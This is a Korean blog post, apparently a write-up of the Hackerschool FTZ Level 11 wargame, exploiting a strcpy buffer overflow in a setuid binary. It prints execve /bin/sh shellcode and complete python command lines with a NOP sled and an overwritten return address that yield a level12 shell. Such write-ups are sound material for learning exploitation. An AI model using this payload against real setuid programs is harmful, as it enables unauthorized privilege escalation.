이번엔 FTZ Level11을 풀어보자.
로그인을 하고, 파일 목록을 확인하고, 힌트를 확인한다.
힌트는 아래와 같다.
힌트의 코드는 attackme 라는 실행파일의 소스코드 인 것 같다.
str의 크기를 256으로 제한해놨는데, 입력값의 제한은 없다.
=> 버퍼오버플로우 문제이다 =>문자열 길이를 조절해 RET값 변조가 가능하다.
그리고 setreuid( 3092, 3092) 명령어를 통해 프로그램의 권한을 level12로 설정해 놓았다.
따라서 프로그램이 실행되는 중에 my-pass나 /bin/bash 같은 명령어를 통해 level12의 암호를 알아 낼 수 있을 것이다.
이를 메모리상에서 실행시키기 위해서는 shell code(쉘 코드)를 사용해야 한다.
shell code는 쉘을 실행시켜 주는 코드인데 보통 C언어로 이루어져 있고, 이것을 기계어로 변환시켜 최종적인 결과물을 16진수의 코드로 만든 것이다.
# strcpy 함수는 NULL문자 전까지의 문자열을 복사하는 함수인데, 문자열의 길이를 따로 검사하지 않는다.
=>> 정해져 있는 버퍼의 길이보다 긴 문자열이 들어오면 BOF(Buffer Of Flow)가 일어난다.
attackme 파일을 tmp 디렉토리로 복사하고, attackme 실행파일을 분석해보자.
위 사진처럼 <main+41> : [ebp-264] 부터 입력값을 받는다.
str에는 256 바이트가 할당되었으므로 8바이트값이 dummy(쓰레기값)으로 들어있다고 생각 할 수 있다.
현재 스택 구조를 보면
높은주소 | RET[4] |
↓ | SFP[4] |
↓ | dummy[8] |
낮은주소 | str[256] |
이런 식으로 되어있는걸 알 수 있다.
25바이트 shell code를 사용해보자.
\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80
RET까지의 거리를 계산해보면
str[256]+dummy[8]+SFP[4] = 268 이다.
여기서 사용할 쉘코드 = 25
=> 268-25 = 243 이므로 이만큼 아무 의미없는 NOP (\x90)을 채우도록 하겠다.
이제 리턴주소를 구하기 위해 ebp-264의 주소를 구해보자.
str 값이 들어가는 지점인 main + 53에 bp (break point)를 걸고 아래와 같은 코드를 입력한다.
r `python -c 'print "\x90"*243+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"+"AAAA"'`
그리고 x/100 $esp 명령어를 사용해 스택을 확인해보자.
NOP(90) 으로 채워진 0xbffff540부터 시작되는 것을 알 수 있다.
0xbfffe940를 리턴주소로 잡고 attackme 를 실행해보자
./attackme `python -c 'print "\x90"*243+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"+"\x40\xf5\xff\xbf"'`
생각한 대로 안나와서 리턴주소를 바꿔가며 해보았다.
결과적으로 0xbffffb40 에서 성공했다.
이제 아래 명령어를 원래 디렉토리에서 실행시키면?
./attackme `python -c 'print "\x90"*243+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"+"\x40\xfb\xff\xbf"'`
짜잔.
level12 암호 : it is like this
'[Pwnable] 해커스쿨 FTZ' 카테고리의 다른 글
[해커스쿨 FTZ] level13 (0) | 2020.03.12 |
---|---|
[해커스쿨 FTZ] level12 (0) | 2020.03.12 |
[해커스쿨 FTZ] Level10 (0) | 2020.03.04 |
[해커스쿨 FTZ] Level9 (0) | 2020.03.03 |
[해커스쿨 FTZ] Level8 (0) | 2020.03.02 |